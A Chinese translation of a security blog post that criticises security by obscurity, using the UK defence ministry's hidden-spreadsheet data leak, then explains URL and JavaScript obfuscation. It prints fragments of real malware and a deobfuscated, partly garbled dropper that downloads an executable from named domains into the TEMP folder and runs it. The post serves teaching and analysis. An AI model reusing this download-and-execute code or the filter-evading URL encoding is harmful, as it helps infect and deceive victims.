隐蔽式安全通常是很差的安全
柯克霍夫原则指出,当一个密码系统的所有信息都是公开的,只有密钥是秘密的时候,这个密码系统才是安全的。这是密码学家们的一个原则,也应该是安全系统的核心。但是,现在我们看到英国国防部使用电子表格中的隐藏标签来隐藏超过 19,000 名阿富汗人员的数据[这里]:

文章引用如下:
根据 ICO 的一份备忘录,泄露发生时的指导意见表明,“英国国防部意识到共享数据的风险,并明确提到了需要从数据集中删除隐藏数据”。
当然,在高风险环境中,使用隐藏数据来混淆的做法是完全疏忽的。取消隐藏电子表格中的标签的能力是如此简单的事情。除此之外,通常还可以查看电子表格中的二进制数据并显示隐藏的标签。实际上,这有点像创建 Word 文档,但在白色背景上使用白色文本:

混淆已在网络安全的许多应用中使用,通常用于 Mallory 知道 Bob 正在观察他的所有通信的情况。因此,如果 Mallory 发送一些加密数据,Bob 会注意到并感到可疑。然后,Mallory 使用混淆来向 Eve 发送信息,并且所有内容对 Bob 来说看起来都很正常。因此,混淆通常用于正在进行扫描的地方——例如电子邮件扫描——并且看起来不正常的内容很可能会被阻止。
链接混淆
混淆的一个简单例子是使用十六进制地址来混淆 URL,例如[这里]:
172.253.115.102 混淆的 URL: http://0xACFD7366] 172.253.115.139 混淆的 URL: http://0xACFD738B] 172.253.115.100 混淆的 URL: http://0xACFD7364]在这种情况下,http://0xACFD7366 实际上链接到 https://google.com,并且可能是避免检测违禁网站的一种方式。
恶意软件混淆
有了这个,恶意软件编写者通常会通过以另一种格式编码来对浏览器/人类隐藏某些关键字。这通常针对十六进制编码 (\xZZ)、16 位 Unicode 编码 (\uZZZZ) 和八进制编码 (\ZZZ) 完成。要进行测试,请输入一个值,然后按按钮,它将转换编码的字符串[这里]:
\137\x6b\u0065\x79\u0053\u0074\x72变为:
_keyStr以下是一些真实恶意软件中的示例:
var _={"\137\x6b\u0065\x79\u0053\u0074\x72":(function () { var pI="wxyz0123456789+/=",B="klmnopqrstuv", G="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg",h="hij"; return G+h+B+pI })(), "\u005f\u0075\164\146\u0038\137\u0065\u006e\u0063\x6f\x64\u0065": function(zt){zt=zt[(String.fromCharCode(0x72,0x65,0x70,108,0141,99,101))](/\r\n/g,( function () { var DS="n",nl="\\"; return nl+DS })()); var MF="";var w;for(w=('XROQtltRu'.length-9);w<zt[((\ function () { var u="h",W="gt",n="len"; return n+W+u })())];w++){ var S=zt[((function () { var s="t",PX="rCodeA",fs="cha"; return fs+PX+s\ })())](w);if(S<('TCMQW'.length*('q'.length*023+3)+18)){ MF+=String[(String.fromCharCode(102,114,111,0x6d,0x43,0150,0x61,114,0x43,0157,100,101))](S);}else if((S>('TFrd'.length*(3*8+6)+7))&&(S<(0x1*1774+274))){MF+=String[((function () { var sD="Code",U="r",T="fromCha"; return T+U+sD })())] "\u0064\u0065\143\157\144\145":function(zt) "\u0064\145\u0063\157\144\u0065"在下一个示例中,我们有一个带有 ZIP 附件的电子邮件。初始电子邮件试图通过出庭威胁使用户感到恐慌:

所以当我们打开 ZIP 文件时,它是一个 JavaScript 文件[这里]:

基本上,这是一个加扰的 JavaScript 文件,它隐藏了实际的 JavaScript 代码。它使用标准的混淆方法,例如删除换行符,将 JavaScript 分成小块,以及随机化 JavaScript 的打印顺序。
在你的收件箱中获取 Prof Bill Buchanan OBE FRSE 的故事
总的来说,它按顺序调用多个函数:
var stroke="5557545E171114140B1610240A0110130B160F170D09174A070B09"; function stkg179() { vmy('un(fn'); return gj(); }; function stkg231() { vmy('(681'); return gj(); }; function stkg93() { vmy('veXOb'); return gj(); }; function stkg118() { vmy(' x'); return gj(); }; function stkg71() { vmy('h.'); return gj(); }; for (var pcrs=1; pcrs<=237; pcrs++) { vmy(this['stkg'+pcrs]()); flo += gj(); } this[z()+stkg()](flo);它将按顺序从 stkg1() 调用到 stkg227。如果我们排序,我们会得到:
function stkg1() { vmy('funct'); return gj(); }; function stkg2() { vmy('ion '); return gj(); }; function stkg3() { vmy('dl('); return gj(); }; function stkg4() { vmy('fr'); return gj(); }; function stkg5() { vmy(') { v'); return gj(); }; function stkg6() { vmy('ar b '); return gj(); }; function stkg7() { vmy('= "6'); return gj(); };我们可以开始看到 JavaScript 代码,它变为:
functiondl(fr) { var b= "64.239115.111 les-eglantiers.fr ihaveavoice2com".split(); for (var i0; i&b.lengi++) { varws = new ActiveXObject("WScript.Shell); var fn =ws.ExpandEnvironmentStrings(%TEMP%")+String.fromCharCode-92#NAME?h.round(Math.random()*10000)+".exe"; vardn =0; var xo = new ActiveXObject("MSXML2.XMLHTTP); xo.onreadystatechan ge =function { if (xo.readyState == 4 && xo.status =200){ var xa =newActiveXObject(ADODB.Stream"); xa.open();xa.type =1; xa.write(xo. ResponseBody); if (xa.size > 500){ dn = 1;xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close; }; }; try { xo.open("GET,http://"+b[i]+/document.php?rnd="+fr+"&id="+stroke,false); xo.send; } catch (er) {}; if (dn== 1) break;}; }; dl(681); dl(292); dl(3913);该脚本访问网站 ( les-eglantiers.fr ) 并在 %Temp% 文件夹下下载一个可执行文件,该文件具有随机生成的文件名(这是计算机上的 TEMP 文件夹)。然后执行它。
结论
在高风险环境中的安全性——尤其是在数据泄露可能导致生命损失的情况下——必须涉及数据加密和对数据的适当访问控制。应用隐藏标签相当于在白色背景上用白色字体书写——这只是垃圾安全!为此,香农定义,通过混淆,“敌人了解系统”。
加密,加密,加密!
- 原文链接: medium.com/asecuritysite...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~